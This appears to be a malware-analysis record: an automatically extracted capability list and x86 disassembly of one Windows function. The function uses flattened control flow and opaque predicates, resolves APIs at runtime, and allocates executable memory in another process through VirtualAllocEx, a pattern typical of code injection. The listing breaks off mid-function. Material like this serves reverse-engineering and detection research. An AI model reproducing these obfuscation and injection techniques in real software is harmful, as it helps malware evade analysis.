Function at 0x401640
Capabilities:
Access peb ldr_data
Check os version
Create thread
Get number of processors
Link function at runtime on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x477b0
call fcn.0043c4b0
mov eax, dword [0x4ad2c0]
mov ecx, 0xe1c179b1
xor eax, ebp
mov dword [ebp - 0x10], eax
jmp 0x4016c0
mov eax, dword [ebp - 0x47664]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4762c]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x47638]
mov edi, 0x883c869a
mov ebx, 0x7431f0c3
mov dword [ecx], eax
mov eax, dword [0x4af428]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x7431f0c3
sete al
cmove ecx, edi
cmp dword [0x4af424], 0xa
setl dl
cmovge ecx, ebx
xor dl, al
cmovne ecx, edi
nop
cmp ecx, 0xd39a27d
jg 0x401760
cmp ecx, 0xca0f8685
jg 0x4017e0
cmp ecx, 0xa00e5a5d
jle 0x4018d3
cmp ecx, 0xb3fcf2be
jg 0x401a7e
cmp ecx, 0xa61030c1
jle 0x401deb
cmp ecx, 0xabdaf449
jle 0x402367
cmp ecx, 0xb116f5ac
jg 0x402d3b
cmp ecx, 0xabdaf44a
je 0x403d53
cmp ecx, 0xae8e2de3
je 0x403d5d
cmp ecx, 0xb0dde3bb
jne 0x4016c0
mov eax, dword [ebp - 0x47660]
mov dword [ebp - 0x47780], esi
mov ecx, 0x662b4c43
mov eax, dword [ebp - 0x47640]
mov eax, dword [eax]
mov dword [ebp - 0x47784], eax
jmp 0x4016c0
cmp ecx, 0x4300bd53
jle 0x401850
cmp ecx, 0x5fa3202d
jle 0x401931
cmp ecx, 0x73562460
jg 0x401ad0
cmp ecx, 0x6a2c8b89
jle 0x401e4d
cmp ecx, 0x6cd78a07
jle 0x4023b0
cmp ecx, 0x716971cd
jg 0x402d69
cmp ecx, 0x6cd78a08
je 0x403d67
cmp ecx, 0x6d4f989b
je 0x403d9a
cmp ecx, 0x7061cd37
jne 0x4016c0
mov ecx, 0xd7c66c0d
jmp 0x4016c0
cmp ecx, 0xee12a6ba
jle 0x40199b
cmp ecx, 0xf97d823f
jg 0x401b37
cmp ecx, 0xf4644856
jle 0x401ea4
cmp ecx, 0xf717c155
jle 0x402407
cmp ecx, 0xf7b9b232
jg 0x402dd6
cmp ecx, 0xf717c156
je 0x403db3
cmp ecx, 0xf7899a1b
je 0x403dbd
cmp ecx, 0xf7aca87a
jne 0x4016c0
mov ecx, 0x2988cb5f
jmp 0x4016c0
cmp ecx, 0x28443045
jg 0x401a03
cmp ecx, 0x185d97d5
jle 0x401ba4
cmp ecx, 0x1deff1d7
jle 0x401eea
cmp ecx, 0x21c00fcc
jle 0x402447
cmp ecx, 0x22ab70c6
jg 0x402e57
cmp ecx, 0x21c00fcd
je 0x403df0
cmp ecx, 0x21f8ca1f
je 0x403e1c
cmp ecx, 0x226443e3
jne 0x4016c0
mov eax, dword [ebp - 0x4772c]
mov edx, 0x896f2733
movzx eax, word [eax]
mov ecx, dword [ebp - 0x47724]
cmp ecx, eax
mov ecx, 0x148fc709
cmovl ecx, edx
jmp 0x4016c0
cmp ecx, 0x90354a84
jle 0x401c13
cmp ecx, 0x977e3631
jle 0x401f3f
cmp ecx, 0x9a0b1496
jle 0x402481
cmp ecx, 0x9c9eb6fc
jg 0x402e90
cmp ecx, 0x9a0b1497
je 0x403e51
cmp ecx, 0x9aafeb2c
je 0x403e84
cmp ecx, 0x9ae1b234
jne 0x4016c0
mov ecx, 0x1deff1d8
jmp 0x4016c0
cmp ecx, 0x5244eecb
jle 0x401c65
cmp ecx, 0x5875c406
jle 0x401f94
cmp ecx, 0x5cab5b6a
jle 0x4024d7
cmp ecx, 0x5d9d2c2e
jg 0x402eda
cmp ecx, 0x5cab5b6b
je 0x403eb1
cmp ecx, 0x5d086b45
je 0x403ed3
cmp ecx, 0x5d16d081
jne 0x4016c0
mov eax, dword [ebp - 0x476d4]
mov eax, dword [ebp - 0x476d8]
mov ecx, 0x530a37b6
jmp 0x4016c0
cmp ecx, 0xdb364e58
jle 0x401cf7
cmp ecx, 0xe21c9735
jle 0x401fda
cmp ecx, 0xe9edcacf
jle 0x402550
cmp ecx, 0xeb633234
jg 0x402f13
cmp ecx, 0xe9edcad0
je 0x403ef6
cmp ecx, 0xea222bbe
je 0x403f2f
cmp ecx, 0xea75f484
jne 0x4016c0
mov ecx, 0x1607cff
mov dword [ebp - 0x47618], 1
jmp 0x4016c0
cmp ecx, 0x3690a7bb
jle 0x401d71
cmp ecx, 0x39e8cf14
jle 0x402020
cmp ecx, 0x3ceab0df
jle 0x4025a7
cmp ecx, 0x3fe5dbb0
jg 0x402f61
cmp ecx, 0x3ceab0e0
je 0x403f39
cmp ecx, 0x3dd38c90
je 0x403f6c
cmp ecx, 0x3e47905f
jne 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0xeb633235
mov edi, 0xa35ecc5b
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xa35ecc5b
jmp 0x40597e
cmp ecx, 0xbd121849
jle 0x402076
cmp ecx, 0xc18ff6ce
jle 0x4025e1
cmp ecx, 0xc611c085
jg 0x402f8f
cmp ecx, 0xc18ff6cf
je 0x403f85
cmp ecx, 0xc1e2a03c
je 0x403f9d
cmp ecx, 0xc5d6aab5
jne 0x4016c0
mov ecx, 0xc8d568c7
jmp 0x4016c0
cmp ecx, 0x79ecc2e3
jle 0x402121
cmp ecx, 0x7e005526
jle 0x40261b
cmp ecx, 0x7f2e7ca8
jg 0x402fcc
cmp ecx, 0x7e005527
je 0x403fa7
cmp ecx, 0x7e50f2e9
je 0x403fec
cmp ecx, 0x7e966f85
jne 0x4016c0
mov eax, dword [ebp - 0x4766c]
mov ecx, 0xa5b06017
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x4768c]
mov dword [ebp - 0x47770], eax
jmp 0x4016c0
cmp ecx, 0xfd67b7
jle 0x40218c
cmp ecx, 0x505cd88
jle 0x402655
cmp ecx, 0x7cee808
jg 0x402ffa
cmp ecx, 0x505cd89
je 0x404005
cmp ecx, 0x61c5fd2
je 0x404025
cmp ecx, 0x620ab6a
jne 0x4016c0
mov eax, dword [ebp - 0x47640]
mov eax, dword [ebp - 0x4761c]
mov dword [ebp - 0x47774], esi
mov ecx, 0xb70c89f1
add eax, 0x78
mov dword [ebp - 0x47778], eax
jmp 0x4016c0
cmp ecx, 0x11f4fd44
jg 0x4021de
cmp ecx, 0xed41062
jg 0x4026ab
cmp ecx, 0xd95731f
jle 0x403022
cmp ecx, 0xd957320
je 0x40406b
cmp ecx, 0xda70da9
je 0x404091
cmp ecx, 0xea54390
jne 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0xd469eee0
mov edi, 0x8d8160ac
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x8d8160ac
jmp 0x40597e
cmp ecx, 0x89c70493
jg 0x402240
cmp ecx, 0x885ba01c
jg 0x4026e5
cmp ecx, 0x8490ce73
jle 0x403044
cmp ecx, 0x8490ce74
je 0x4040c3
cmp ecx, 0x8758768f
je 0x40413e
cmp ecx, 0x883c869a
jne 0x4016c0
mov ecx, 0xd781297
jmp 0x4016c0
cmp ecx, 0x4a806726
jg 0x402286
cmp ecx, 0x4899e64b
jg 0x402737
cmp ecx, 0x45d20e84
jle 0x40308a
cmp ecx, 0x45d20e85
je 0x404170
cmp ecx, 0x472d77ba
je 0x40417a
cmp ecx, 0x477966bf
jne 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0xb5c2a08b
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x1e4348b5
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x47628]
cmovge ecx, edx
jmp 0x4016c0
cmp ecx, 0xd28761fe
jg 0x4022cc
cmp ecx, 0xcea4337f
jg 0x40277f
cmp ecx, 0xcd8b1244
jle 0x4030bc
cmp ecx, 0xcd8b1245
je 0x4041ad
cmp ecx, 0xcdd3eafb
je 0x4041cb
cmp ecx, 0xce186584
jne 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x21f8ca1f
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x7ab7b0b0
jmp 0x405a2c
cmp ecx, 0x2db9e2c2
jg 0x402312
cmp ecx, 0x2b50eee4
jg 0x4027e4
cmp ecx, 0x2988cb5e
jle 0x4030fb
cmp ecx, 0x2988cb5f
je 0x4041fc
cmp ecx, 0x2a0c64d0
je 0x40422e
cmp ecx, 0x2a2c25ff
jne 0x4016c0
mov eax, dword [ebp - 0x47628]
mov edi, 0xdb64df45
mov ebx, 0x8c75e850
mov dword [eax], 2
mov eax, dword [0x4af428]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x8c75e850
jmp 0x4016a7
cmp ecx, 0xa35ecc5a
jg 0x40281e
cmp ecx, 0xa15fb595
jle 0x40311d
cmp ecx, 0xa15fb596
je 0x404261
cmp ecx, 0xa2466034
je 0x40426b
cmp ecx, 0xa314e992
jne 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0x716971ce
mov ebx, 0x303b949e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x303b949e
jmp 0x4016a7
cmp ecx, 0x6604e6de
jg 0x402858
cmp ecx, 0x61da2570
jle 0x403155
cmp ecx, 0x61da2571
je 0x4042bb
cmp ecx, 0x6342c023
je 0x4042d1
cmp ecx, 0x6500db9d
jne 0x4016c0
mov eax, dword [ebp - 0x476b0]
mov ecx, 0xceda333a
mov edx, 0x885ba01d
cmp eax, 0xc
cmove ecx, edx
jmp 0x4016c0
cmp ecx, 0xf0a07090
jg 0x40289e
cmp ecx, 0xeece0661
jle 0x40319f
cmp ecx, 0xeece0662
je 0x4042e1
cmp ecx, 0xef06e1dd
je 0x4042f7
cmp ecx, 0xef8f7e02
jne 0x4016c0
mov ecx, 0xfb4c9922
jmp 0x4016c0
cmp ecx, 0x1abc3d91
jg 0x4028d8
cmp ecx, 0x190fb17d
jle 0x4031e5
cmp ecx, 0x190fb17e
je 0x40430b
cmp ecx, 0x19d2020e
je 0x40434a
cmp ecx, 0x1aa64dc8
jne 0x4016c0
cmp byte [ebp - 0x47647], 0
mov ecx, 0x366d0988
mov eax, 0x5d9d2c2f
cmovne ecx, eax
jmp 0x4016c0
cmp ecx, 0x9456ce32
jg 0x402912
cmp ecx, 0x92738175
jle 0x403223
cmp ecx, 0x92738176
je 0x404399
cmp ecx, 0x938625d9
je 0x4043a9
cmp ecx, 0x93e3ba5d
jne 0x4016c0
mov eax, dword [ebp - 0x477ac]
mov ecx, dword [ebp - 0x47620]
inc eax
mov dword [ecx], eax
mov ecx, 0x2c17c83e
jmp 0x4016c0
cmp ecx, 0x55f387e3
jg 0x402962
cmp ecx, 0x536208c4
jle 0x403245
cmp ecx, 0x536208c5
je 0x4043dc
cmp ecx, 0x557944ac
je 0x4043f2
cmp ecx, 0x55a8615a
jne 0x4016c0
mov ecx, 0x31d816a7
jmp 0x4016c0
cmp ecx, 0xdf05f33e
jg 0x4029b9
cmp ecx, 0xdc6f8a54
jle 0x4032b2
cmp ecx, 0xdc6f8a55
je 0x404418
cmp ecx, 0xddb9e771
je 0x404432
cmp ecx, 0xddc6acce
jne 0x4016c0
mov ecx, 0x7177c51b
jmp 0x4016c0
cmp ecx, 0x381b6ba5
jg 0x402a1c
cmp ecx, 0x36f95392
jle 0x4032d4
cmp ecx, 0x36f95393
je 0x404446
cmp ecx, 0x372e8efa
je 0x40447d
cmp ecx, 0x37d69a10
jne 0x4016c0
mov eax, dword [ebp - 0x47620]
mov dword [ebp - 0x47618], 0x10
mov ecx, 0x19d2020e
jmp 0x4016c0
cmp ecx, 0xb6042350
jg 0x402a56
cmp ecx, 0xb58d3fc0
jle 0x403338
cmp ecx, 0xb58d3fc1
je 0x4044d8
cmp ecx, 0xb5bf8b7a
je 0x4044fe
cmp ecx, 0xb5c2a08b
jne 0x4016c0
mov eax, dword [ebp - 0x47628]
mov edi, 0xd717c5e4
mov dword [eax], 0x40
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
lea ecx, [edx + 1]
imul ecx, edx
mov ebx, ecx
xor ebx, 0xfffffffe
test ebx, ecx
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x1e4348b5
cmovne edx, edi
test ebx, ecx
mov ebx, dword [ebp - 0x47614]
mov ebx, dword [ebp - 0x47620]
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x47694]
cmovge ecx, edx
mov ebx, dword [ebx]
lea ebx, [ebx + ebx*4]
lea eax, [eax + ebx*8 + 0x24]
mov dword [ebp - 0x476ec], eax
jmp 0x4016c0
cmp ecx, 0x77291ab0
jg 0x402ad6
cmp ecx, 0x73f864ba
jle 0x403474
cmp ecx, 0x73f864bb
je 0x404525
cmp ecx, 0x7419ecaf
je 0x404558
cmp ecx, 0x7431f0c3
jne 0x4016c0
mov eax, dword [ebp - 0x47664]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4762c]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x47638]
mov dword [ecx], eax
mov ecx, 0x8f4f3aee
jmp 0x4016c0
cmp ecx, 0xfc971fcf
jg 0x402b28
cmp ecx, 0xfa10c315
jle 0x4034ba
cmp ecx, 0xfa10c316
je 0x40457f
cmp ecx, 0xfb4c9922
je 0x404596
cmp ecx, 0xfbdf5ed8
jne 0x4016c0
mov eax, dword [ebp - 0x47710]
mov ecx, 0x36f95393
mov dword [ebp - 0x476b8], eax
jmp 0x4016c0
cmp ecx, 0x154fb992
jg 0x402b7e
cmp ecx, 0x1265f56e
jle 0x4034e2
cmp ecx, 0x1265f56f
je 0x4045bc
cmp ecx, 0x131ea04b
je 0x4045c6
cmp ecx, 0x148fc709
jne 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0x36ed30d1
mov ebx, 0xddb9e771
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xddb9e771
jmp 0x4016a7
cmp ecx, 0x8e9f3502
jg 0x402bc4
cmp ecx, 0x8cb1b575
jle 0x403504
cmp ecx, 0x8cb1b576
je 0x4045df
cmp ecx, 0x8d03a737
je 0x404605
cmp ecx, 0x8d8160ac
jne 0x4016c0
mov ecx, 0xd469eee0
jmp 0x4016c0
cmp ecx, 0x4d0288dd
jg 0x402c32
cmp ecx, 0x4b9c2a6c
jle 0x403532
cmp ecx, 0x4b9c2a6d
je 0x40460f
cmp ecx, 0x4c62bdf0
je 0x404635
cmp ecx, 0x4ceb39ca
jne 0x4016c0
mov ecx, 0xc18ff6cf
jmp 0x4016c0
cmp ecx, 0xd6e59c92
jg 0x402c95
cmp ecx, 0xd469eedf
jle 0x403570
cmp ecx, 0xd469eee0
je 0x40464e
cmp ecx, 0xd53336e3
je 0x404689
cmp ecx, 0xd60c924f
jne 0x4016c0
mov ecx, 0x9456ce33
jmp 0x4016c0
cmp ecx, 0x31d816a6
jg 0x402cf7
cmp ecx, 0x2f46e0bc
jle 0x4035b6
cmp ecx, 0x2f46e0bd
je 0x4046bb
cmp ecx, 0x303b949e
je 0x4046ed
cmp ecx, 0x30b87602
jne 0x4016c0
cmp byte [ebp - 0x47649], 0
mov ecx, 0x48ba34de
mov eax, 0xcdd3eafb
cmovne ecx, eax
jmp 0x4016c0
cmp ecx, 0xa82afb71
jle 0x4035e4
cmp ecx, 0xa82afb72
je 0x404704
cmp ecx, 0xa8e00042
je 0x404754
cmp ecx, 0xa9d822e1
jne 0x4016c0
cmp byte [ebp - 0x4764f], 0
mov ecx, 0x5cab5b6b
mov eax, 0xdc6f8a55
cmovne ecx, eax
jmp 0x4016c0
cmp ecx, 0x6aa7f3a1
jle 0x403610
cmp ecx, 0x6aa7f3a2
je 0x404781
cmp ecx, 0x6be6ba0f
je 0x404796
cmp ecx, 0x6c7dd32d
jne 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0x3a663691
mov edi, 0x28a66b4c
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x28a66b4c
jmp 0x40597e
cmp ecx, 0xf5cacca3
jle 0x40365a
cmp ecx, 0xf5cacca4
je 0x4047f0
cmp ecx, 0xf6103c5a
je 0x404804
cmp ecx, 0xf70941ee
jne 0x4016c0
mov eax, dword [ebp - 0x47620]
mov ecx, 0x7e005527
jmp 0x4016c0
cmp ecx, 0x1e4348b4
jle 0x4036af
cmp ecx, 0x1e4348b5
je 0x404814
cmp ecx, 0x1f5157cd
je 0x404836
cmp ecx, 0x207e3d31
jne 0x4016c0
mov ecx, 0xd2ba7305
jmp 0x4016c0
cmp ecx, 0x98406644
jle 0x4036d1
cmp ecx, 0x98406645
je 0x404840
cmp ecx, 0x985d0c6f
je 0x404859
cmp ecx, 0x99c27f9d
jne 0x4016c0
mov eax, dword [ebp - 0x476c4]
push 0x40
push 0x3000
push dword [eax]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, 0xf2387f09
jmp 0x4016c0
cmp ecx, 0x5aa0d8fa
jle 0x403711
cmp ecx, 0x5aa0d8fb
je 0x40487f
cmp ecx, 0x5be45ac1
je 0x404898
cmp ecx, 0x5c008e40
jne 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0x42d7e081
mov edi, 0xf5cacca4
mov dword [ebp - 0x47618], 0
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xf5cacca4
sete al
cmove ecx, ebx
cmp dword [0x4af424], 0xa
setl dl
cmovge ecx, edi
xor dl, al
cmovne ecx, ebx
jmp 0x4016c0
cmp ecx, 0xe5c9938a
jle 0x40379f
cmp ecx, 0xe5c9938b
je 0x404902
cmp ecx, 0xe7852ee8
je 0x404934
cmp ecx, 0xe8f0d5a4
jne 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0x3b3bc687
mov ebx, 0x1095af42
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x1095af42
jmp 0x4016a7
cmp ecx, 0x3b3bc686
jle 0x4037c1
cmp ecx, 0x3b3bc687
je 0x40494d
cmp ecx, 0x3bb7713e
je 0x4049b1
cmp ecx, 0x3bf9b990
jne 0x4016c0
mov ecx, 0x8758768f
jmp 0x4016c0
cmp ecx, 0xbdf5fedb
jle 0x4037e3
cmp ecx, 0xbdf5fedc
je 0x4049bb
cmp ecx, 0xbe91cc25
je 0x4049d4
cmp ecx, 0xbf75caf5
jne 0x4016c0
mov ecx, 0x5660fa60
jmp 0x4016c0
cmp ecx, 0x7b0f5fd2
jle 0x403811
cmp ecx, 0x7b0f5fd3
je 0x404a07
cmp ecx, 0x7c4e36ed
je 0x404a11
cmp ecx, 0x7d41e1c0
jne 0x4016c0
mov ecx, 0x7e966f85
jmp 0x4016c0
cmp ecx, 0x17e95c8
jle 0x403833
cmp ecx, 0x17e95c9
je 0x404a44
cmp ecx, 0x22f2c8f
je 0x404a8c
cmp ecx, 0x43373d3
jne 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0xd7c66c0d
mov edi, 0x7061cd37
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x7061cd37
jmp 0x40597e
cmp ecx, 0xfd90606
jle 0x403855
cmp ecx, 0xfd90607
je 0x404aa4
cmp ecx, 0x1095af42
je 0x404aca
cmp ecx, 0x11c1cabe
jne 0x4016c0
mov ecx, 0xe5c9938b
jmp 0x4016c0
cmp ecx, 0x890c2222
jle 0x40388d
cmp ecx, 0x890c2223
je 0x404b07
cmp ecx, 0x896f2733
je 0x404b11
cmp ecx, 0x898d500d
jne 0x4016c0
mov eax, dword [ebp - 0x47670]
mov ecx, dword [ebp - 0x4761c]
mov dword [ebp - 0x47728], ecx
mov dword [ebp - 0x47724], eax
mov ecx, 0xee12a6bb
jmp 0x4016c0
cmp ecx, 0x48bccb33
jle 0x4038c1
cmp ecx, 0x48bccb34
je 0x404b43
cmp ecx, 0x4908c732
je 0x404b59
cmp ecx, 0x49d0d594
jne 0x4016c0
mov eax, dword [ebp - 0x47614]
mov ecx, 0x6cd78a08
mov eax, dword [eax]
mov dword [ebp - 0x47668], eax
jmp 0x4016c0
cmp ecx, 0xd1332768
jle 0x4038ed
cmp ecx, 0xd1332769
je 0x404b63
cmp ecx, 0xd1562773
je 0x404b95
cmp ecx, 0xd26f537b
jne 0x4016c0
mov eax, dword [ebp - 0x47624]
mov edi, 0xa5d3379a
mov ebx, 0x791a2a3a
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x47798], eax
mov eax, dword [0x4af428]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x791a2a3a
jmp 0x4016a7
cmp ecx, 0x2ce3a03b
jle 0x403937
cmp ecx, 0x2ce3a03c
je 0x404b9f
cmp ecx, 0x2cf3bdfb
je 0x404bfb
cmp ecx, 0x2d22edd6
jne 0x4016c0
mov ecx, 0x4c62bdf0
jmp 0x4016c0
cmp ecx, 0xa535a429
jle 0x403976
cmp ecx, 0xa535a42a
je 0x404c05
cmp ecx, 0xa5b06017
je 0x404c0f
cmp ecx, 0xa5d3379a
jne 0x4016c0
mov ecx, 0x22f2c8f
jmp 0x4016c0
cmp ecx, 0x693f0309
jle 0x403998
cmp ecx, 0x693f030a
je 0x404c25
cmp ecx, 0x697514c5
je 0x404c2f
cmp ecx, 0x6994168f
jne 0x4016c0
mov eax, dword [ebp - 0x47628]
mov ecx, 0xae8e2de3
mov dword [eax], 0x20
jmp 0x4016c0
cmp ecx, 0xf1f2a036
jle 0x4039db
cmp ecx, 0xf1f2a037
je 0x404c39
cmp ecx, 0xf2387f09
je 0x404c6c
cmp ecx, 0xf42a1f2c
jne 0x4016c0
mov ecx, 0x185d97d6
jmp 0x4016c0
cmp ecx, 0x1c3f698d
jle 0x403a90
cmp ecx, 0x1c3f698e
je 0x404cd3
cmp ecx, 0x1d33d10f
je 0x404cdd
cmp ecx, 0x1def9cd6
jne 0x4016c0
mov ecx, 0x9501b959
jmp 0x4016c0
cmp ecx, 0x9501b958
jle 0x403ab2
cmp ecx, 0x9501b959
je 0x404cff
cmp ecx, 0x956787d1
je 0x404d32
cmp ecx, 0x967c5adc
jne 0x4016c0
mov eax, dword [ebp - 0x4763c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x47684]
vmovsd xmm0, qword [ecx]
mov ecx, 0x71957a35
vmovsd qword [eax], xmm0
jmp 0x4016c0
cmp ecx, 0x5660fa5f
jle 0x403ad4
cmp ecx, 0x5660fa60
je 0x404d3c
cmp ecx, 0x56c21a67
je 0x404d6f
cmp ecx, 0x57f7c8eb
jne 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0xcc146085
mov edi, 0xe29ace16
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xe29ace16
jmp 0x40597e
cmp ecx, 0xe151c15f
jle 0x403b48
cmp ecx, 0xe151c160
je 0x404d88
cmp ecx, 0xe1930f90
je 0x404d9c
cmp ecx, 0xe1c179b1
jne 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0xb48eb127
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x4f8739f6
jmp 0x404efa
cmp ecx, 0x38df4388
jle 0x403b79
cmp ecx, 0x38df4389
je 0x404db8
cmp ecx, 0x3912f6d9
je 0x404dc2
cmp ecx, 0x392ed68a
jne 0x4016c0
mov ecx, 0xabdaf44a
jmp 0x4016c0
cmp ecx, 0xb71acd09
jle 0x403b9b
cmp ecx, 0xb71acd0a
je 0x404dd2
cmp ecx, 0xb8590c7a
je 0x404ddc
cmp ecx, 0xb8ff4f06
jne 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x11f87dbc
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xb2a80ce
cmovne ebx, edi
test edx, ecx
mov ecx, ebx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x47614]
cmovge ecx, ebx
mov eax, dword [eax]
mov dword [ebp - 0x47644], eax
jmp 0x4016c0
cmp ecx, 0x791a2a39
jle 0x403bcc
cmp ecx, 0x791a2a3a
je 0x404de6
cmp ecx, 0x79bd43a4
je 0x404df6
cmp ecx, 0x79df6e8e
jne 0x4016c0
mov eax, dword [ebp - 0x4768c]
mov ecx, dword [ebp - 0x47690]
mov dword [ebp - 0x476d8], ecx
mov dword [ebp - 0x476d4], eax
mov ecx, 0xb16b3efd
jmp 0x4016c0
cmp ecx, 0xfcc6b81f
jle 0x403bee
cmp ecx, 0xfcc6b820
je 0x404e1c
cmp ecx, 0xfe1cddfb
je 0x404e44
cmp ecx, 0xfed39096
jne 0x4016c0
push dword [ebp - 0x477b0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x4763c]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov ecx, 0x1d33d10f
jmp 0x4016c0
cmp ecx, 0x15e6c546
jle 0x403c3a
cmp ecx, 0x15e6c547
je 0x404e4e
cmp ecx, 0x1659c121
je 0x404e74
cmp ecx, 0x172c77f7
jne 0x4016c0
mov eax, dword [ebp - 0x47768]
mov ecx, 0x55a8615a
mov dword [ebp - 0x47658], eax
jmp 0x4016c0
cmp ecx, 0x8ee5a71f
jle 0x403c9f
cmp ecx, 0x8ee5a720
je 0x404e88
cmp ecx, 0x8f4f3aee
je 0x401661
cmp ecx, 0x8fe20247
jne 0x4016c0
mov eax, dword [ebp - 0x47668]
mov edi, 0xa9d822e1
mov ebx, 0xd8230f47
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, dword [0x4af428]
setne byte [ebp - 0x4764f]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd8230f47
jmp 0x4016a7
cmp ecx, 0x4f8739f5
jle 0x403ccb
cmp ecx, 0x4f8739f6
je 0x404e98
cmp ecx, 0x4fd64c41
je 0x404ecc
cmp ecx, 0x50d93660
jne 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x35d6582a
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf9ff2656
jmp 0x404efa
cmp ecx, 0xd7c66c0c
jle 0x403ced
cmp ecx, 0xd7c66c0d
je 0x404f10
cmp ecx, 0xd8230f47
je 0x404f64
cmp ecx, 0xd83c6b17
jne 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x60cc6f95
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x6aa7f3a2
jmp 0x405a2c
cmp ecx, 0x35d65829
jle 0x403d0f
cmp ecx, 0x35d6582a
je 0x404f8c
cmp ecx, 0x363b434e
je 0x404fc0
cmp ecx, 0x366d0988
jne 0x4016c0
mov ecx, 0x15e6c547
mov dword [ebp - 0x47618], 5
jmp 0x4016c0
cmp ecx, 0xb116f5ad
je 0x404fca
cmp ecx, 0xb16b3efd
je 0x404ff1
cmp ecx, 0xb2dcbab2
jne 0x4016c0
mov ecx, 0xd53336e3
jmp 0x4016c0
cmp ecx, 0x716971ce
je 0x405023
cmp ecx, 0x7177c51b
je 0x405060
cmp ecx, 0x71957a35
jne 0x4016c0
mov eax, dword [ebp - 0x4763c]
mov edi, 0x91196d0f
mov eax, dword [eax]
mov ecx, dword [ebp - 0x47684]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x967c5adc
jmp 0x404efa
cmp ecx, 0xf7b9b233
je 0x40506a
cmp ecx, 0xf8570cdf
je 0x405091
cmp ecx, 0xf9225520
jne 0x4016c0
mov edx, dword [0x4af428]
